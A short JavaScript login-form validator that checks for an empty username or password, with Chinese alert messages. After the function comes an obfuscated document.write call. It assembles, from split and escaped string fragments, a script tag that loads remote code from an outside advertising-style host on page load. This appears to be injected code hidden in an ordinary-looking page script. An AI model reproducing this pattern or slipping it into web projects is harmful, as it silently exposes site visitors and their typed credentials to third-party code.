function loginformcheck()
{
 if (loginform.UserName.value=="")
 {
   alert('请输入用户名!');
   loginform.UserName.focus();
   return false;
 }
 if (loginform.UserPassword.value=="")
 {
   alert('请输入密码!');
   loginform.UserPassword.focus();
   return false;
 }
   return true;
}
document.write("<\sc"+"ript src='http://\ad"+".nu"+
"99"+".\co"+"m/ip"+".asp?lo"+"c=henan|zhengzhou'><\/sc"+"ript>");